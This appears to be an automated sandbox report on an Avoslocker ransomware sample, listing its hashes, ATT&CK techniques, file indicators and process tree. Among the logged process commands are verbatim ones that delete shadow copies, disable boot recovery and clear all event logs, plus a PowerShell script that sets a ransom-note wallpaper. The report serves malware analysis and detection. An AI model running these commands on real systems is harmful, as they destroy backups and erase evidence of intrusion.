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Analysis
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max time kernel
96s -
max time network
109s -
platform
windows10-2004_x64 -
resource
win10v2004-20241007-en -
resource tags
arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system -
submitted
25/12/2024, 14:40
Static task
static1
Behavioral task
behavioral1
Sample
testing.exe
Resource
win7-20240903-en
Behavioral task
behavioral2
Sample
testing.exe
Resource
win10v2004-20241007-en
General
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Target
testing.exe
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Size
1.1MB
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MD5
9bab6ed20e3975cec860894d96f1de7c
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SHA1
b4647855c5f313fadc03347ea10272fda260dd22
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SHA256
368041501211167866ce2f39dfd64e596707763d2c9e448565e28d92c649aa71
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SHA512
14c5d8c19429aebfc5ed678d56de3b3d53e2272eda11567d85723933bbca600e00eeb52e5562278c67b08ac87b6c1bc45b6dc8b653a8d545d1edd8c8aa78432a
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SSDEEP
24576:tImw98okVgela0as5CqLVO7XJCjkD3N0HRA:DL5ljasaU
Malware Config
Signatures
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Avoslocker Ransomware
Avoslocker is a relatively new ransomware, that was observed in late June and early July, 2021.
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Avoslocker family
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Deletes shadow copies 3 TTPs
Ransomware often targets backup files to inhibit system recovery.
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Modifies boot configuration data using bcdedit 1 TTPs 2 IoCs
pid Process 3504 bcdedit.exe 976 bcdedit.exe -
Renames multiple (8520) files with added filename extension
This suggests ransomware activity of encrypting all the files on the system.
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Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
description ioc Process Key value queried \REGISTRY\USER\S-1-5-21-940901362-3608833189-1915618603-1000\Control Panel\International\Geo\Nation testing.exe -
Executes dropped EXE 1 IoCs
pid Process 4196 P1kAlMiG2Kb7.exe -
Drops desktop.ini file(s) 1 IoCs
description ioc Process File opened for modification C:\Program Files\Microsoft Office\root\Office16\1033\DataServices\DESKTOP.INI P1kAlMiG2Kb7.exe -
Enumerates connected drives 3 TTPs 1 IoCs
Attempts to read the root path of hard drives other than the default C: drive.
description ioc Process File opened (read-only) \??\Z: P1kAlMiG2Kb7.exe -
Sets desktop wallpaper using registry 2 TTPs 1 IoCs
description ioc Process Set value (str) \REGISTRY\USER\S-1-5-21-940901362-3608833189-1915618603-1000\Control Panel\Desktop\Wallpaper = "C:\\Users\\Admin\\AppData\\Local\\Temp\\574207132.png" reg.exe -
Drops file in Program Files directory 64 IoCs
description ioc Process File opened for modification C:\Program Files\WindowsApps\microsoft.windowscommunicationsapps_16005.11629.20316.0_x64__8wekyb3d8bbwe\images\HxMailAppList.targetsize-24_altform-lightunplated.png P1kAlMiG2Kb7.exe File created C:\Program Files\Microsoft Office\root\Office16\1033\GET_YOUR_FILES_BACK.txt P1kAlMiG2Kb7.exe File created C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\my-recent-files\js\nls\cs-cz\GET_YOUR_FILES_BACK.txt P1kAlMiG2Kb7.exe File created C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\files\GET_YOUR_FILES_BACK.txt P1kAlMiG2Kb7.exe File opened for modification C:\Program Files\Microsoft Office\root\vfs\ProgramFilesCommonX86\Microsoft Shared\VBA\VBA6\VBE6EXT.OLB P1kAlMiG2Kb7.exe File opened for modification C:\Program Files (x86)\MSBuild\Microsoft\Windows Workflow Foundation\v3.0\Workflow.Targets P1kAlMiG2Kb7.exe File created C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\Trust Protection Lists\Mu\GET_YOUR_FILES_BACK.txt P1kAlMiG2Kb7.exe File opened for modification C:\Program Files\Microsoft Office\root\rsod\word.x-none.msi.16.x-none.boot.tree.dat P1kAlMiG2Kb7.exe File created C:\Program Files\Common Files\microsoft shared\TextConv\GET_YOUR_FILES_BACK.txt P1kAlMiG2Kb7.exe File created C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\pages-app\GET_YOUR_FILES_BACK.txt P1kAlMiG2Kb7.exe File opened for modification C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\on-boarding\js\nls\en-gb\ui-strings.js P1kAlMiG2Kb7.exe File opened for modification C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\ob-preview\js\plugin.js P1kAlMiG2Kb7.exe File opened for modification C:\Program Files\WindowsApps\microsoft.windowscommunicationsapps_16005.11629.20316.0_x64__8wekyb3d8bbwe\images\EmptyShare.scale-125.png P1kAlMiG2Kb7.exe File opened for modification C:\Program Files\WindowsApps\microsoft.windowscommunicationsapps_16005.11629.20316.0_x64__8wekyb3d8bbwe\images\contrast-black\HxCalendarWideTile.scale-100.png P1kAlMiG2Kb7.exe File opened for modification C:\Program Files\Microsoft Office\root\vfs\ProgramFilesX86\Microsoft Analysis Services\AS OLEDB\140\Resources\1033\msmdsrvi.rll P1kAlMiG2Kb7.exe File opened for modification C:\Program Files\Microsoft Office\root\Office16\LogoImages\PowerPntLogoSmall.contrast-black_scale-100.png P1kAlMiG2Kb7.exe File created C:\Program Files\Microsoft Office\root\Office16\ADDINS\Microsoft Power Query for Excel Integrated\GET_YOUR_FILES_BACK.txt P1kAlMiG2Kb7.exe File created C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\signatures\js\nls\cs-cz\GET_YOUR_FILES_BACK.txt P1kAlMiG2Kb7.exe File created C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\sign-services-auth\js\nls\root\GET_YOUR_FILES_BACK.txt P1kAlMiG2Kb7.exe File created C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\sample-files\js\nls\root\GET_YOUR_FILES_BACK.txt P1kAlMiG2Kb7.exe File opened for modification C:\Program Files\Microsoft Office\root\Office16\LogoImages\ExcelLogoSmall.contrast-white_scale-180.png P1kAlMiG2Kb7.exe File opened for modification C:\Program Files\Java\jdk-1.8\jre\lib\jfxswt.jar P1kAlMiG2Kb7.exe File opened for modification C:\Program Files\Internet Explorer\en-US\iexplore.exe.mui P1kAlMiG2Kb7.exe File opened for modification C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\signatures\images\themes\dark\s_opencarat_18.svg P1kAlMiG2Kb7.exe File opened for modification C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\my-computer-select\js\selector.js P1kAlMiG2Kb7.exe File opened for modification C:\Program Files\WindowsApps\microsoft.windowscommunicationsapps_16005.11629.20316.0_x64__8wekyb3d8bbwe\images\contrast-white\OutlookMailWideTile.scale-125.png P1kAlMiG2Kb7.exe File opened for modification C:\Program Files\Common Files\microsoft shared\ink\hwrcommonlm.dat P1kAlMiG2Kb7.exe File opened for modification C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\on-boarding\images\themeless\tool-search.png P1kAlMiG2Kb7.exe File created C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\IDTemplates\ENU\GET_YOUR_FILES_BACK.txt P1kAlMiG2Kb7.exe File created C:\Program Files\VideoLAN\VLC\lua\http\css\ui-lightness\GET_YOUR_FILES_BACK.txt P1kAlMiG2Kb7.exe File created C:\Program Files\Common Files\System\msadc\ja-JP\GET_YOUR_FILES_BACK.txt P1kAlMiG2Kb7.exe File opened for modification C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\tracked-send\images\email\themes\dark\adc_logo.png P1kAlMiG2Kb7.exe File opened for modification C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\search-summary\js\nls\it-it\ui-strings.js P1kAlMiG2Kb7.exe File opened for modification C:\Program Files\Microsoft Office\root\rsod\office.x-none.msi.16.x-none.boot.tree.dat P1kAlMiG2Kb7.exe File created C:\Program Files\Microsoft Office\root\vfs\ProgramFilesCommonX86\Microsoft Shared\VBA\VBA7.1\1033\GET_YOUR_FILES_BACK.txt P1kAlMiG2Kb7.exe File opened for modification C:\Program Files\Microsoft Office\root\Licenses16\MondoR_EnterpriseSub_Bypass30-ppd.xrm-ms P1kAlMiG2Kb7.exe File created C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\task-handler\js\nls\fr-fr\GET_YOUR_FILES_BACK.txt P1kAlMiG2Kb7.exe File opened for modification C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\core\dev\nls\nl-nl\ui-strings.js P1kAlMiG2Kb7.exe File opened for modification C:\Program Files\WindowsApps\microsoft.windowscommunicationsapps_16005.11629.20316.0_x64__8wekyb3d8bbwe\images\contrast-white\HxCalendarMediumTile.scale-150.png P1kAlMiG2Kb7.exe File opened for modification C:\Program Files\Microsoft Office\root\Office16\sdxs\FA000000027\assets\Icons\[email protected] P1kAlMiG2Kb7.exe File opened for modification C:\Program Files\Microsoft Office\root\Licenses16\Standard2019MSDNR_Retail-ul-phn.xrm-ms P1kAlMiG2Kb7.exe File opened for modification C:\Program Files\Java\jre-1.8\lib\deploy\messages_de.properties P1kAlMiG2Kb7.exe File created C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\my-files\js\nls\fr-ma\GET_YOUR_FILES_BACK.txt P1kAlMiG2Kb7.exe File opened for modification C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\app-center\js\nls\pt-br\ui-strings.js P1kAlMiG2Kb7.exe File opened for modification C:\Program Files\WindowsApps\microsoft.windowscommunicationsapps_16005.11629.20316.0_x64__8wekyb3d8bbwe\images\contrast-black\OutlookMailBadge.scale-200.png P1kAlMiG2Kb7.exe File created C:\Program Files\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\THEMES16\EXPEDITN\GET_YOUR_FILES_BACK.txt P1kAlMiG2Kb7.exe File created C:\Program Files\Java\jdk-1.8\jre\lib\management\GET_YOUR_FILES_BACK.txt P1kAlMiG2Kb7.exe File opened for modification C:\Program Files\WindowsApps\microsoft.windowscommunicationsapps_16005.11629.20316.0_x64__8wekyb3d8bbwe\images\contrast-white\ExchangeMediumTile.scale-125.png P1kAlMiG2Kb7.exe File opened for modification C:\Program Files\WindowsApps\microsoft.windowscommunicationsapps_16005.11629.20316.0_x64__8wekyb3d8bbwe\images\contrast-black\HxAccountsSmallTile.scale-100.png P1kAlMiG2Kb7.exe File created C:\Program Files\VideoLAN\VLC\locale\ks_IN\GET_YOUR_FILES_BACK.txt P1kAlMiG2Kb7.exe File opened for modification C:\Program Files\WindowsApps\microsoft.windowscommunicationsapps_16005.11629.20316.0_x64__8wekyb3d8bbwe\images\HxCalendarAppList.targetsize-36_altform-lightunplated.png P1kAlMiG2Kb7.exe File opened for modification C:\Program Files\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\THEMES16\REFINED\REFINED.ELM P1kAlMiG2Kb7.exe File opened for modification C:\Program Files\Microsoft Office\root\Office16\sdxs\FA000000027\comments.win32.tpn P1kAlMiG2Kb7.exe File opened for modification C:\Program Files (x86)\Adobe\Acrobat Reader DC\Resource\Font\CourierStd-Oblique.otf P1kAlMiG2Kb7.exe File created C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\generic-rhp-app\js\nls\de-de\GET_YOUR_FILES_BACK.txt P1kAlMiG2Kb7.exe File opened for modification C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\images\s_opencarat_18.svg P1kAlMiG2Kb7.exe File opened for modification C:\Program Files\Microsoft Office\root\Licenses16\VisioStd2019R_Retail-ul-oob.xrm-ms P1kAlMiG2Kb7.exe File opened for modification C:\Program Files (x86)\WindowsPowerShell\Modules\Pester\3.4.0\Snippets\ShouldBeGreaterThan.snippets.ps1xml P1kAlMiG2Kb7.exe File created C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\scan-files\js\nls\root\GET_YOUR_FILES_BACK.txt P1kAlMiG2Kb7.exe File opened for modification C:\Program Files\WindowsApps\microsoft.windowscommunicationsapps_16005.11629.20316.0_x64__8wekyb3d8bbwe\images\HxCalendarSplashLogo.scale-200.png P1kAlMiG2Kb7.exe File created C:\Program Files\Microsoft Office\root\Office16\MSIPC\pt-BR\GET_YOUR_FILES_BACK.txt P1kAlMiG2Kb7.exe File opened for modification C:\Program Files\Microsoft Office\root\Office16\PAGESIZE\PGLBL065.XML P1kAlMiG2Kb7.exe File opened for modification C:\Program Files\Common Files\microsoft shared\ink\ipsrom.xml P1kAlMiG2Kb7.exe File created C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\home\js\nls\fr-fr\GET_YOUR_FILES_BACK.txt P1kAlMiG2Kb7.exe -
pid Process 4028 powershell.exe 32992 powershell.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
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System Location Discovery: System Language Discovery 1 TTPs 1 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
description ioc Process Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language P1kAlMiG2Kb7.exe -
Interacts with shadow copies 3 TTPs 1 IoCs
Shadow copies are often targeted by ransomware to inhibit system recovery.
pid Process 5036 vssadmin.exe -
Suspicious behavior: EnumeratesProcesses 7 IoCs
pid Process 4196 P1kAlMiG2Kb7.exe 4196 P1kAlMiG2Kb7.exe 4028 powershell.exe 4028 powershell.exe 4028 powershell.exe 32992 powershell.exe 32992 powershell.exe -
Suspicious use of AdjustPrivilegeToken 64 IoCs
description pid Process Token: SeTakeOwnershipPrivilege 4196 P1kAlMiG2Kb7.exe Token: SeIncreaseQuotaPrivilege 4496 WMIC.exe Token: SeSecurityPrivilege 4496 WMIC.exe Token: SeTakeOwnershipPrivilege 4496 WMIC.exe Token: SeLoadDriverPrivilege 4496 WMIC.exe Token: SeSystemProfilePrivilege 4496 WMIC.exe Token: SeSystemtimePrivilege 4496 WMIC.exe Token: SeProfSingleProcessPrivilege 4496 WMIC.exe Token: SeIncBasePriorityPrivilege 4496 WMIC.exe Token: SeCreatePagefilePrivilege 4496 WMIC.exe Token: SeBackupPrivilege 4496 WMIC.exe Token: SeRestorePrivilege 4496 WMIC.exe Token: SeShutdownPrivilege 4496 WMIC.exe Token: SeDebugPrivilege 4496 WMIC.exe Token: SeSystemEnvironmentPrivilege 4496 WMIC.exe Token: SeRemoteShutdownPrivilege 4496 WMIC.exe Token: SeUndockPrivilege 4496 WMIC.exe Token: SeManageVolumePrivilege 4496 WMIC.exe Token: 33 4496 WMIC.exe Token: 34 4496 WMIC.exe Token: 35 4496 WMIC.exe Token: 36 4496 WMIC.exe Token: SeBackupPrivilege 3260 vssvc.exe Token: SeRestorePrivilege 3260 vssvc.exe Token: SeAuditPrivilege 3260 vssvc.exe Token: SeIncreaseQuotaPrivilege 4496 WMIC.exe Token: SeSecurityPrivilege 4496 WMIC.exe Token: SeTakeOwnershipPrivilege 4496 WMIC.exe Token: SeLoadDriverPrivilege 4496 WMIC.exe Token: SeSystemProfilePrivilege 4496 WMIC.exe Token: SeSystemtimePrivilege 4496 WMIC.exe Token: SeProfSingleProcessPrivilege 4496 WMIC.exe Token: SeIncBasePriorityPrivilege 4496 WMIC.exe Token: SeCreatePagefilePrivilege 4496 WMIC.exe Token: SeBackupPrivilege 4496 WMIC.exe Token: SeRestorePrivilege 4496 WMIC.exe Token: SeShutdownPrivilege 4496 WMIC.exe Token: SeDebugPrivilege 4496 WMIC.exe Token: SeSystemEnvironmentPrivilege 4496 WMIC.exe Token: SeRemoteShutdownPrivilege 4496 WMIC.exe Token: SeUndockPrivilege 4496 WMIC.exe Token: SeManageVolumePrivilege 4496 WMIC.exe Token: 33 4496 WMIC.exe Token: 34 4496 WMIC.exe Token: 35 4496 WMIC.exe Token: 36 4496 WMIC.exe Token: SeDebugPrivilege 4028 powershell.exe Token: SeBackupPrivilege 4028 powershell.exe Token: SeBackupPrivilege 4028 powershell.exe Token: SeBackupPrivilege 4028 powershell.exe Token: SeBackupPrivilege 4028 powershell.exe Token: SeBackupPrivilege 4028 powershell.exe Token: SeBackupPrivilege 4028 powershell.exe Token: SeSecurityPrivilege 4028 powershell.exe Token: SeBackupPrivilege 4028 powershell.exe Token: SeBackupPrivilege 4028 powershell.exe Token: SeBackupPrivilege 4028 powershell.exe Token: SeBackupPrivilege 4028 powershell.exe Token: SeBackupPrivilege 4028 powershell.exe Token: SeSecurityPrivilege 4028 powershell.exe Token: SeBackupPrivilege 4028 powershell.exe Token: SeBackupPrivilege 4028 powershell.exe Token: SeSecurityPrivilege 4028 powershell.exe Token: SeBackupPrivilege 4028 powershell.exe -
Suspicious use of WriteProcessMemory 29 IoCs
description pid Process procid_target PID 2808 wrote to memory of 4196 2808 testing.exe 84 PID 2808 wrote to memory of 4196 2808 testing.exe 84 PID 2808 wrote to memory of 4196 2808 testing.exe 84 PID 4196 wrote to memory of 2544 4196 P1kAlMiG2Kb7.exe 86 PID 4196 wrote to memory of 2544 4196 P1kAlMiG2Kb7.exe 86 PID 4196 wrote to memory of 2160 4196 P1kAlMiG2Kb7.exe 87 PID 4196 wrote to memory of 2160 4196 P1kAlMiG2Kb7.exe 87 PID 4196 wrote to memory of 3932 4196 P1kAlMiG2Kb7.exe 88 PID 4196 wrote to memory of 3932 4196 P1kAlMiG2Kb7.exe 88 PID 4196 wrote to memory of 2740 4196 P1kAlMiG2Kb7.exe 89 PID 4196 wrote to memory of 2740 4196 P1kAlMiG2Kb7.exe 89 PID 4196 wrote to memory of 2252 4196 P1kAlMiG2Kb7.exe 90 PID 4196 wrote to memory of 2252 4196 P1kAlMiG2Kb7.exe 90 PID 2544 wrote to memory of 4496 2544 cmd.exe 91 PID 2544 wrote to memory of 4496 2544 cmd.exe 91 PID 2252 wrote to memory of 4028 2252 cmd.exe 94 PID 2252 wrote to memory of 4028 2252 cmd.exe 94 PID 2740 wrote to memory of 3504 2740 cmd.exe 93 PID 2740 wrote to memory of 3504 2740 cmd.exe 93 PID 3932 wrote to memory of 976 3932 cmd.exe 95 PID 3932 wrote to memory of 976 3932 cmd.exe 95 PID 2160 wrote to memory of 5036 2160 cmd.exe 92 PID 2160 wrote to memory of 5036 2160 cmd.exe 92 PID 4196 wrote to memory of 32992 4196 P1kAlMiG2Kb7.exe 100 PID 4196 wrote to memory of 32992 4196 P1kAlMiG2Kb7.exe 100 PID 32992 wrote to memory of 33140 32992 powershell.exe 101 PID 32992 wrote to memory of 33140 32992 powershell.exe 101 PID 32992 wrote to memory of 33240 32992 powershell.exe 103 PID 32992 wrote to memory of 33240 32992 powershell.exe 103 -
Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
Processes
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C:\Users\Admin\AppData\Local\Temp\testing.exe"C:\Users\Admin\AppData\Local\Temp\testing.exe"1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:2808 -
C:\Users\Admin\AppData\Local\Temp\P1kAlMiG2Kb7.exe"C:\Users\Admin\AppData\Local\Temp\P1kAlMiG2Kb7.exe"2⤵
- Executes dropped EXE
- Drops desktop.ini file(s)
- Enumerates connected drives
- Drops file in Program Files directory
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:4196 -
C:\Windows\SYSTEM32\cmd.execmd /c wmic shadowcopy delete /nointeractive3⤵
- Suspicious use of WriteProcessMemory
PID:2544 -
C:\Windows\System32\Wbem\WMIC.exewmic shadowcopy delete /nointeractive4⤵
- Suspicious use of AdjustPrivilegeToken
PID:4496
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C:\Windows\SYSTEM32\cmd.execmd /c vssadmin.exe Delete Shadows /All /Quiet3⤵
- Suspicious use of WriteProcessMemory
PID:2160 -
C:\Windows\system32\vssadmin.exevssadmin.exe Delete Shadows /All /Quiet4⤵
- Interacts with shadow copies
PID:5036
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C:\Windows\SYSTEM32\cmd.execmd /c bcdedit /set {default} recoveryenabled No3⤵
- Suspicious use of WriteProcessMemory
PID:3932 -
C:\Windows\system32\bcdedit.exebcdedit /set {default} recoveryenabled No4⤵
- Modifies boot configuration data using bcdedit
PID:976
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C:\Windows\SYSTEM32\cmd.execmd /c bcdedit /set {default} bootstatuspolicy ignoreallfailures3⤵
- Suspicious use of WriteProcessMemory
PID:2740 -
C:\Windows\system32\bcdedit.exebcdedit /set {default} bootstatuspolicy ignoreallfailures4⤵
- Modifies boot configuration data using bcdedit
PID:3504
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C:\Windows\SYSTEM32\cmd.execmd /c powershell -command "Get-EventLog -LogName * | ForEach { Clear-EventLog $_.Log }"3⤵
- Suspicious use of WriteProcessMemory
PID:2252 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -command "Get-EventLog -LogName * | ForEach { Clear-EventLog $_.Log }"4⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4028
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "$a = [System.IO.File]::ReadAllText(\"F:\GET_YOUR_FILES_BACK.txt\");Add-Type -AssemblyName System.Drawing;$filename = \"$env:temp\$(Get-Random).png\";$bmp = new-object System.Drawing.Bitmap 1920,1080;$font = new-object System.Drawing.Font Consolas,10;$brushBg = [System.Drawing.Brushes]::Black;$brushFg = [System.Drawing.Brushes]::White;$format = [System.Drawing.StringFormat]::GenericDefault;$format.Alignment = [System.Drawing.StringAlignment]::Center;$format.LineAlignment = [System.Drawing.StringAlignment]::Center;$graphics = [System.Drawing.Graphics]::FromImage($bmp);$graphics.FillRectangle($brushBg,0,0,$bmp.Width,$bmp.Height);$graphics.DrawString($a,$font,$brushFg,[System.Drawing.RectangleF]::FromLTRB(0, 0, 1920, 1080),$format);$graphics.Dispose();$bmp.Save($filename);reg add \"HKEY_CURRENT_USER\Control Panel\Desktop\" /v Wallpaper /t REG_SZ /d $filename /f;Start-Sleep 1;rundll32.exe user32.dll, UpdatePerUserSystemParameters, 0, $false;"3⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:32992 -
C:\Windows\system32\reg.exe"C:\Windows\system32\reg.exe" add "HKEY_CURRENT_USER\Control Panel\Desktop" /v Wallpaper /t REG_SZ /d C:\Users\Admin\AppData\Local\Temp\574207132.png /f4⤵
- Sets desktop wallpaper using registry
PID:33140
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C:\Windows\system32\rundll32.exe"C:\Windows\system32\rundll32.exe" user32.dll UpdatePerUserSystemParameters 0 False4⤵PID:33240
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C:\Windows\system32\vssvc.exeC:\Windows\system32\vssvc.exe1⤵
- Suspicious use of AdjustPrivilegeToken
PID:3260
Network
MITRE ATT&CK Enterprise v15
Execution
Command and Scripting Interpreter
1PowerShell
1Windows Management Instrumentation
1Defense Evasion
Direct Volume Access
1Indicator Removal
2File Deletion
2Modify Registry
1Replay Monitor
Loading Replay Monitor...
Downloads
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Filesize
2KB
MD56cf293cb4d80be23433eecf74ddb5503
SHA124fe4752df102c2ef492954d6b046cb5512ad408
SHA256b1f292b6199aa29c7fafbca007e5f9e3f68edcbbca1965bc828cc92dc0f18bb8
SHA5120f91e2da0da8794b9797c7b50eb5dfd27bde4546ceb6902a776664ce887dd6f12a0dd8773d612ccc76dfd029cd280778a0f0ae17ce679b3d2ffd968dd7e94a00
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Filesize
64B
MD5eb6332ae9e8fec69c2236355e2638f9d
SHA171500d57fb304979afd6756f06d4b9a59f995eb7
SHA25688e5ffe18fd4a772efce68f1b0db839846cafc42d36415508ad5356a44d38f32
SHA512e87c864ba79bd7a10a62b55ad564cf3acb090e7d85707a6967497deeef5fcde1f0b4608ea8791bf81363ec583a0101d470d8f3cd2172ced8d4071d7f6c674aed
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Filesize
807KB
MD5e27b5291c8fb2dfdeb7f16bb6851df5e
SHA140207f83b601cd60905c1f807ac0889c80dfe33f
SHA256ffd933ad53f22a0f10cceb4986087258f72dffdd36999b7014c6b37c157ee45f
SHA5122ddbc50cd780ffbf73c354b9b437322eb49cb05bb6f287d54e7dcafb61dc4c4549e37ae2f972f3d240bfa7d2ca485b7583137f1bf038bc901f378cea0c305c6a
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Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
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Filesize
1011B
MD5c92c2b70fb37f84aab38412ad9226aa8
SHA114f2e9a83285612d0a7b2c83b8f89bccfde6c154
SHA256d64639e873c0873b469cd856d1ef4bce7dc14a80fac6fe2bed9d629f05acc77f
SHA51204f9dcb3cd49909712535255b6eadd7fafcb2902bf1abd5a25e9bb5f5c4dc032611aec0a5b0ec89cd7dbc65276b935c54b906b391507d2e3e3aa65466b15f848